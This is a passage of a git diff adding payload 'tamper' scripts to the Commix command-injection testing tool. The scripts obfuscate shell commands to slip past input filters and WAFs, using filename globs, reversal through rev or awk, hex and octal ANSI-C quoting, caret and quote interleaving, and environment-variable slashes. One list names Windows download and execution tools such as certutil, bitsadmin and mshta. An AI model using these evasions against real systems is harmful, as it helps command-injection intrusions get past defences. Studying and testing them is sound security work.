Read every comparison the way 'test' does without its own operators' '-'. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' has no 'test' expression to write the dash-free way. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + payload = _rewrite_ordering(payload) + payload = _rewrite_length(payload) + payload = _rewrite_printed_marker(payload) + payload = _rewrite_piped_ordinal(payload) + return payload.replace(" -eq ", " = ").replace(" -ne ", " != ") + +# eof diff --git a/src/tamper/obfuscation/posix/noletters.py b/src/tamper/obfuscation/posix/noletters.py new file mode 100644 index 0000000000..89a51e6708 --- /dev/null +++ b/src/tamper/obfuscation/posix/noletters.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Rewrites a bare command name in a given payload as a filename glob of the same length ('echo' + -> '/???/????'), resolved by the shell against '/bin' rather than typed as a word. +Notes: This only reaches a target whose '/bin' holds exactly one file of that length - every POSIX + shell keyword capable of trying more than one candidate ('for', 'while', 'case', 'set') is + itself spelled in letters a filter blocking all of them also blocks, so an ambiguous match + (several files sharing the word's length) is left as the glob and fails outright. Only a + bare name is rewritten, the same restriction 'cmd2wildcard' documents for a path already + written out in full - this script's own job starts where that one's leaves off. +Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/ +""" + +__tamper__ = "noletters" +__priority__ = settings.PRIORITY.LOW + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + # 'tamper_shell_spans' reads quoting the way a shell does, which an evaluated language's own + # string/call syntax is not - a payload for '--eval' would come back with its own calls globbed. + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +# A bare command name: letters only, not a path, not a variable or quoted word already. +NOLETTERS_WORD = r"(?<![\w$'\"\\{#=/.-])[A-Za-z]{2,}(?![\w=.'\"-])" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def _glob(match): + """ + One word written as the glob the shell expands against '/bin' and runs, or left as it was. + + A word the shell has to read exactly as it was written is left alone, for the reason + 'tamper_word_kept' gives - it would no longer be itself once a glob stood in its place. + """ + word = match.group(0) + if checks.tamper_word_kept(word, match.string[:match.start()]): + return word + return "/???/" + "?" * len(word) + +# Every bare command name in one span of shell code, written as a glob of the same length. +def _glob_words(text, nested): + return re.sub(NOLETTERS_WORD, _glob, text) + +# Hand the command name over as a glob, for the target's shell to resolve against '/bin'. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' globs nothing on its own. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + return checks.tamper_shell_spans(payload, _glob_words) + +# eof diff --git a/src/tamper/obfuscation/posix/printf2echo.py b/src/tamper/obfuscation/posix/printf2echo.py new file mode 100644 index 0000000000..1bbcb48559 --- /dev/null +++ b/src/tamper/obfuscation/posix/printf2echo.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Prints with `echo` wherever a payload prints with `printf`, and reads a byte with `echo -n + $char | od -An -tuC | xargs` instead of `printf '%d' "'$char"`. +Notes: This tamper script works against target(s) with a POSIX shell. + It is for a target that refuses 'printf' by name. 'echo' is what every payload prints with + here, so none of them carries the other name - at a cost: 'echo' reads the backslashes of + what it prints as escapes on some shells ('dash' among them) and a leading '-n' as an option + on all of them, so an output carrying either may come back changed. + The two pipes are the one thing this rewrite cannot be written without: 'od' reads a byte + from its standard input alone, and the only way to hand it one without a pipe is awk's + 'sprintf', which carries the very name this script exists to avoid. So it is written only + where a pipe is the operator the payload is already proving - under anything else the pipes + would be operators of this script's own, and the payload would stop being the one test it is. + 'od' counts a byte unsigned, which is what the reading it stands in for has to be brought + back to, so the arithmetic around that reading goes with it. +""" + +__tamper__ = "printf2echo" +__priority__ = settings.PRIORITY.ABOVE_NORMAL + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Every payload built from here on prints with 'echo' - said while the scripts are settled, since the +# builders read it as they build rather than having the result rewritten afterwards. +def declare(): + settings.PRINT_WITH_ECHO = True + +# Say with 'echo' what the payload said with 'printf'. +def tamper(payload): + declare() + # A target settled as Windows after this script was accepted: 'cmd.exe' has no 'od' to read with. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + # The byte is handed to 'od' down a pipe, so the byte reading is only rewritten where a pipe is what + # is proving; the rest of what prints already goes out with 'echo'. + if checks.current_separator() not in ("|", "||"): + return payload + space = checks.current_whitespace() + prefix, suffix = checks.byte_ordinal_bounds() + # The reading is taken whole - from the text written around it rather than by looking for a + # closing bracket, which the byte's own expression carries plenty of. + while prefix in payload: + opened = payload.index(prefix) + closed = payload.find(suffix, opened + len(prefix)) + if closed < 0: + break + byte = payload[opened + len(prefix):closed] + counted = (settings.CMD_SUB_PREFIX + "echo" + space + "-n" + space + "\"" + byte + "\"" + space + + "|" + space + "od" + space + "-An" + space + "-tuC" + space + "|" + space + "xargs" + + settings.CMD_SUB_SUFFIX) + payload = payload[:opened] + counted + payload[closed + len(suffix):] + return payload + +# eof diff --git a/src/tamper/obfuscation/posix/rev.py b/src/tamper/obfuscation/posix/rev.py new file mode 100644 index 0000000000..49c6cbda30 --- /dev/null +++ b/src/tamper/obfuscation/posix/rev.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Reverses (characterwise) the user-supplied operating system commands in a given payload. +Notes: This tamper script works against target(s) with a POSIX shell. Reading a command back + from its end needs an operator either way, so the form handed over is the one whose + operator the payload is already proving: 'awk' - which takes the words as arguments - where + the separator under test is a ';' or a newline, those being what awk puts between its own + statements, and 'rev' reading from a pipe where it is anything else. A filter strips one of + ';', '&' and '|' together with the others, so a target that let a '&' separator through is + not the one that stops the pipe. +References: [1] https://github.com/commixproject/commix/issues/408 + [2] https://medium.com/picus-security/how-to-bypass-wafs-for-os-command-injection-2c5dd4e6a52b +""" + +__tamper__ = "rev" +__priority__ = settings.PRIORITY.HIGHER + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Hand the command over reversed, for the target to read back from its end. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' has no command substitution to reverse the command back through. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + # An empty 'USER_APPLIED_CMD' is still "in" any string, so the replace below would otherwise + # insert the reversed-empty-string construct between every character of the payload - a + # verification litmus built after a finding confirms (and so after exploitation phase starts) + # has no command of its own to reverse at all. + if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: + source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD + if settings.USER_APPLIED_CMD in source: + # 'rev' reads its input through a pipe and awk reads its own program through a ';' or a + # newline, so the form handed over is the one whose operator is the separator under test. + # Reading a command back from its end needs an operator either way: awk puts a ';' or a + # newline between its own statements, 'rev' reads from a pipe. Where one of them is the + # separator under test, that is the form handed over. Where neither is - a '&' or '&&' + # separator - the pipe goes anyway: a filter that strips one of ';', '&' and '|' strips the + # others with it, so a target that let '&' through is not the one that stops a pipe. + separator = checks.current_separator() + if checks.awk_separator_usable(separator): + reversed_cmd = "awk" + settings.SINGLE_WHITESPACE + checks.awk_reverse_program(separator) + settings.SINGLE_WHITESPACE + settings.USER_APPLIED_CMD[::-1] + else: + reversed_cmd = "echo" + settings.SINGLE_WHITESPACE + settings.USER_APPLIED_CMD[::-1] + "|rev" + if checks.using_backticks(): + rev_cmd = "\\`" + reversed_cmd + "\\`" + else: + rev_cmd = settings.CMD_SUB_PREFIX + reversed_cmd + settings.CMD_SUB_SUFFIX + # Applied to the payload as handed over, not to the untouched original: the scripts run in + # order, and reaching back past the ones before would throw their work away. + payload = source.replace(settings.USER_APPLIED_CMD, rev_cmd) + if len(settings.WHITESPACES) != 0: + payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + return payload + +# eof diff --git a/src/tamper/obfuscation/posix/slash2env.py b/src/tamper/obfuscation/posix/slash2env.py new file mode 100644 index 0000000000..cf5c911a96 --- /dev/null +++ b/src/tamper/obfuscation/posix/slash2env.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces slashes (/) with environment variable value '${PATH%%u*}'. +Notes: This tamper script works against target(s) with a POSIX shell. +Reference: https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/ +""" + +__tamper__ = "slash2env" +__priority__ = settings.PRIORITY.LOW + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Say with an environment variable what the payload said with a slash. +def tamper(payload): + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + # Outside single quotes only: the shell leaves a quoted "${PATH%%u*}" as those literal + # characters rather than expanding it, so a slash replaced in there stops being a slash. + return checks.tamper_outside_single_quotes(payload, lambda part: part.replace("/", "${PATH%%u*}")) + +# eof diff --git a/src/tamper/obfuscation/windows/__init__.py b/src/tamper/obfuscation/windows/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/obfuscation/windows/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/obfuscation/windows/caret.py b/src/tamper/obfuscation/windows/caret.py new file mode 100644 index 0000000000..277dd99d6b --- /dev/null +++ b/src/tamper/obfuscation/windows/caret.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +""" +About: Adds caret symbol (^) between the characters in a given payload. +Notes: This tamper script works against windows targets. +""" + +__tamper__ = "caret" +__priority__ = settings.PRIORITY.LOW + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_windows_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +""" +The length beyond which a single word is handed over as it was written. + +A caret before every letter is one more character per letter, so the word it is applied to arrives +at roughly twice the length. cmd.exe stops reading a command line at 8191 characters, and a word +this long is already close enough that doubling it would take the payload past that, losing the +end of it - which costs more than the obfuscation of one word is worth. +""" +MAX_CARET_WORD_LENGTH = 5000 + +# Put a caret between the characters, which cmd.exe reads straight through. +def tamper(payload): + # The carets themselves, kept out of the quoted words that must survive whole. + def add_caret_symbol(payload): + words = re.findall(r"\w+", payload) + if words: + longest_word = max(words, key=len) + long_string = longest_word if len(longest_word) >= MAX_CARET_WORD_LENGTH else "" + rep = { + "^^": "^", + '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', + # "tokens" always appears quoted (e.g. "tokens=*") in this project's own for/f payloads - + # the leading quote must be consumed here too, or it leaks through as a stray "". + '"^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"', + '^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"', + } + if long_string: + rep[re.sub(settings.TAMPER_MODIFICATION_LETTERS, r'^\1', long_string)] = long_string.replace("^", "") + payload = checks.tamper_modify_letters_outside_quotes(payload, r'^\1') + rep = dict((re.escape(k), v) for k, v in rep.items()) + pattern = re.compile("|".join(rep.keys())) + payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + return payload + if settings.TARGET_OS == settings.OS.WINDOWS: + return add_caret_symbol(payload) + else: + return payload + +# eof diff --git a/src/tamper/quoting/__init__.py b/src/tamper/quoting/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/quoting/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/quoting/generic/__init__.py b/src/tamper/quoting/generic/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/quoting/generic/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/quoting/generic/doublequotes.py b/src/tamper/quoting/generic/doublequotes.py new file mode 100644 index 0000000000..59f1619f01 --- /dev/null +++ b/src/tamper/quoting/generic/doublequotes.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +""" +About: Adds double quotes (") between the characters in a given payload. +Notes: On Windows targets only the names of the programs a payload calls are broken up (see below). +""" + +__tamper__ = "doublequotes" +__priority__ = settings.PRIORITY.BELOW_NORMAL + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) + +obf_char = '""' + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +""" +The programs a Windows payload calls by name. + +cmd.exe drops a pair of quotes while it resolves a program name - inside the quotes of a +'cmd /c "..."' as well - so 'w""hoami' still runs. Its own keywords and internal commands are +matched before that happens ('s""et' and 'e""cho' are not commands at all), and a 'for /f' option +is read as the literal string it is quoted as, so nothing but these names is touched. +""" +WINDOWS_PROGRAMS = ("cmd", "powershell", "nslookup", "certutil", "curl", "wget", "whoami", + "hostname", "ipconfig", "getmac", "netstat", "route", "arp", "net", + "systeminfo", "tasklist", "wmic", "reg", "sc", "schtasks", "bitsadmin", + "mshta", "rundll32", "findstr", "find", "more", "sort", "attrib", "icacls") + +# Put empty double quotes between the characters, which the shell drops. +def tamper(payload): + # The quotes themselves, added only where they are not inside a quoted word already. + def obfuscate(text): + return re.sub(settings.TAMPER_MODIFICATION_LETTERS, obf_char + r"\1", text) + + if settings.TARGET_OS == settings.OS.WINDOWS: + # The first letter is left alone: a name already inside quotes would otherwise start on three + # of them, which cmd.exe reads as a quote of its own rather than as nothing. + def obfuscate_program(match): + name = match.group(0) + return name[:1] + obfuscate(name[1:]) + + for program in WINDOWS_PROGRAMS: + # Bounded on letters only, since a payload's own separator ('%26') runs into the name. The + # match itself is broken up, so a name written in another case stays in it. + payload = re.sub(r"(?<![A-Za-z])" + program + r"(?![A-Za-z])", obfuscate_program, + payload, flags=re.IGNORECASE) + return payload + + return checks.tamper_restore_ignored_words(obfuscate(payload), obf_char) + +# eof diff --git a/src/tamper/quoting/posix/__init__.py b/src/tamper/quoting/posix/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/quoting/posix/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/quoting/posix/ansiquote.py b/src/tamper/quoting/posix/ansiquote.py new file mode 100644 index 0000000000..9d9f18d580 --- /dev/null +++ b/src/tamper/quoting/posix/ansiquote.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Rewrites the command names and paths in a given payload as ANSI-C quoted hex ($'\x63\x61\x74'). +Notes: This tamper script works against target(s) whose shell reads ANSI-C quoting (e.g. 'bash', + 'ksh', 'zsh'), which leaves no command name or path spelled out in the payload. +References: [1] https://www.secjuice.com/web-application-firewall-waf-evasion/ +""" + +__tamper__ = "ansiquote" +__priority__ = settings.PRIORITY.HIGH + +def dependencies(): + """ + Why this script cannot be applied to the target at hand, or nothing where it can. + + The escapes are the whole point of the script, and an evaluated string is read by the language + doing the evaluating before ever reaching a shell - which spends '\\x63' itself, leaving the + shell a payload that says something else. + """ + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +# A word worth hiding: a command name or a path, which is what a signature is written against. +ANSI_QUOTE_WORD = r"(?<![\w$'\"\\{#=/.-])(/?[A-Za-z][\w.-]*(?:/[\w.-]+)*|/[\w.-]+(?:/[\w.-]+)*)(?![\w=.'\"-])" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def _ansi_quote(match): + """ + One word written as the hex the shell reads back as that word, or left as it was. + + A word the shell has to read exactly as it was written is left alone, for the reason + 'tamper_word_kept' gives. Nothing else here needs to survive being spelled differently, because + the shell spends the quoting before anything reads the word. + """ + word = match.group(0) + if checks.tamper_word_kept(word, match.string[:match.start()]): + return word + return "$'" + "".join("\\x%02x" % ord(char) for char in word) + "'" + +# Every command name and path in one span of shell code, written as hex. +def _ansi_quote_words(text, nested): + return re.sub(ANSI_QUOTE_WORD, _ansi_quote, text) + +# Hand the words over as hex, for the target's shell to read back as the words they were. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' has no ANSI-C quoting. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + return checks.tamper_shell_spans(payload, _ansi_quote_words) + +# eof diff --git a/src/tamper/quoting/posix/ansiquoteoctal.py b/src/tamper/quoting/posix/ansiquoteoctal.py new file mode 100644 index 0000000000..a0c15f844f --- /dev/null +++ b/src/tamper/quoting/posix/ansiquoteoctal.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Rewrites the command names and paths in a given payload as ANSI-C quoted octal ($'\143\141\164'). +Notes: This tamper script works against target(s) whose shell reads ANSI-C quoting (e.g. 'bash', + 'ksh', 'zsh'). Unlike 'ansiquote', the escape itself spells no letter - hex needs the 'x' of + '\x63', which a filter blocking every letter would catch as readily as the word it hides. +References: [1] https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-36 +""" + +__tamper__ = "ansiquoteoctal" +__priority__ = settings.PRIORITY.HIGH + +def dependencies(): + """ + Why this script cannot be applied to the target at hand, or nothing where it can. + + The escapes are the whole point of the script, and an evaluated string is read by the language + doing the evaluating before ever reaching a shell - which spends '\\143' itself, leaving the + shell a payload that says something else. + """ + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +# A word worth hiding: a command name or a path, which is what a signature is written against. +ANSI_QUOTE_WORD = r"(?<![\w$'\"\\{#=/.-])(/?[A-Za-z][\w.-]*(?:/[\w.-]+)*|/[\w.-]+(?:/[\w.-]+)*)(?![\w=.'\"-])" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def _ansi_quote(match): + """ + One word written as the octal the shell reads back as that word, or left as it was. + + A word the shell has to read exactly as it was written is left alone, for the reason + 'tamper_word_kept' gives. Nothing else here needs to survive being spelled differently, because + the shell spends the quoting before anything reads the word. + """ + word = match.group(0) + if checks.tamper_word_kept(word, match.string[:match.start()]): + return word + return "$'" + "".join("\\%03o" % ord(char) for char in word) + "'" + +# Every command name and path in one span of shell code, written as octal. +def _ansi_quote_words(text, nested): + return re.sub(ANSI_QUOTE_WORD, _ansi_quote, text) + +# Hand the words over as octal, for the target's shell to read back as the words they were. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' has no ANSI-C quoting. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + return checks.tamper_shell_spans(payload, _ansi_quote_words) + +# eof diff --git a/src/tamper/quoting/posix/backslashes.py b/src/tamper/quoting/posix/backslashes.py new file mode 100644 index 0000000000..fe586c7aed --- /dev/null +++ b/src/tamper/quoting/posix/backslashes.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +r""" +About: Adds back slashes (\) between the characters in a given payload. +Notes: This tamper script works against target(s) with a POSIX shell. +""" + +__tamper__ = "backslashes" +__priority__ = settings.PRIORITY.LOW + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +obf_char = "\\" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Put a back slash between the characters, which the shell reads straight through. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' does not drop the character this interleaves. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + return checks.interleave_char_tamper(payload, obf_char) + +# eof diff --git a/src/tamper/quoting/posix/backticks.py b/src/tamper/quoting/posix/backticks.py new file mode 100644 index 0000000000..fe80d9ced7 --- /dev/null +++ b/src/tamper/quoting/posix/backticks.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.parse import cmdline as menu +from src.utils import settings +from src.core.controller import checks + + +""" +About: Uses backticks (`) instead of '$()' for command substitution in a given payload. +Notes: This tamper script works against target(s) with a POSIX shell. +""" + +__tamper__ = "backticks" +__priority__ = settings.PRIORITY.HIGHEST + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) or checks.tamper_dep_interpreter_incompatible(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +""" +The substitution this script writes, settled before any payload is built rather than when it first +rewrites one. + +Settled then, the choice arrives one payload late: a builder reads it as it builds, so the first +payload of every boundary is written with '$( )' and only the ones after it carry this script at +all. 'tamper()' calls this too, for a target settled as Windows after the script was accepted. +""" +def declare(): + if not menu.options.interpreter and not settings.TARGET_OS == settings.OS.WINDOWS: + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = settings.BACKTICK_SUBSTITUTION + elif checks.using_backticks(): + """ + A target settled as Windows, or an interpreter taken on, after this script was accepted. + + 'cmd.exe' has no backtick and an interpreter is handed its program rather than a shell line, so + what was chosen here no longer applies - and left standing it would go on being written into + every payload built from here on, by a script that has itself stopped rewriting anything. + """ + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = settings.NESTING_SUBSTITUTION + +# Substitute the command through backticks rather than through '$()'. +def tamper(payload): + declare() + if not menu.options.interpreter and not settings.TARGET_OS == settings.OS.WINDOWS: + whitespace = checks.current_whitespace() + payload = payload.replace("${#" + settings.RANDOM_VAR_GENERATOR + "}", + settings.CMD_SUB_PREFIX + "expr" + whitespace + "length" + whitespace + "\"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + ) + return payload + +# eof diff --git a/src/tamper/quoting/posix/dollaratsigns.py b/src/tamper/quoting/posix/dollaratsigns.py new file mode 100644 index 0000000000..8a8b95da56 --- /dev/null +++ b/src/tamper/quoting/posix/dollaratsigns.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Adds dollar sign followed by an at-sign ($@) between the characters in a given payload. +Notes: This tamper script works against target(s) with a POSIX shell. +""" + +__tamper__ = "dollaratsigns" +__priority__ = settings.PRIORITY.LOW + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +obf_char = "$@" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Put an empty '$@' between the characters, which the shell expands to nothing. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' does not drop the characters this interleaves. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + return checks.interleave_char_tamper(payload, obf_char) + +# eof diff --git a/src/tamper/quoting/posix/dollarstars.py b/src/tamper/quoting/posix/dollarstars.py new file mode 100644 index 0000000000..e35d464239 --- /dev/null +++ b/src/tamper/quoting/posix/dollarstars.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Adds dollar sign followed by an asterisk ($*) between the characters in a given payload. +Notes: This tamper script works against target(s) with a POSIX shell. +""" + +__tamper__ = "dollarstars" +__priority__ = settings.PRIORITY.LOW + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +""" +The other spelling of the same emptiness. + +A shell with no positional parameters expands '$*' to nothing, exactly as it does '$@' - so this +says what 'dollaratsigns' says in the character a filter written against that one may not carry. +""" +obf_char = "$*" + +if not settings.TAMPER_SCRIPTS[__tamper__]: 